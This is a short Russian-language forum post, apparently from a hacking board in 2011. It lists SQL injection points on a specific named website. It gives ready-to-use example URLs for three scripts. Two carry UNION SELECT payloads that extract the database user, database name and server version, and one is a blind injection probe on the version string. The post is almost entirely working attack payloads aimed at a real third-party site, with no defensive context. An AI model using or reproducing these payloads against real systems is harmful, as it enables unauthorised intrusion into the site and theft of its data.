
06.01.2011, 17:43
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
Провел на форуме: 0
Репутация:
0
|
|
SQL injection:
/add.php
Пример:
Код:
http://valdis.org.ru/add.php?id=-1%20union%20select%201,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7--
Blind SQL injection:
/cat.php
Пример:
Код:
http://valdis.org.ru/cat.php?id=7%20and%20substring(@@version,1,1)=5
SQL injection:
/sub.php
Пример:
Код:
http://valdis.org.ru/sub.php?id=-54%20union%20select%201,2,concat_ws(0x3a,user(),database(),version()),4,5,6--
|
|
|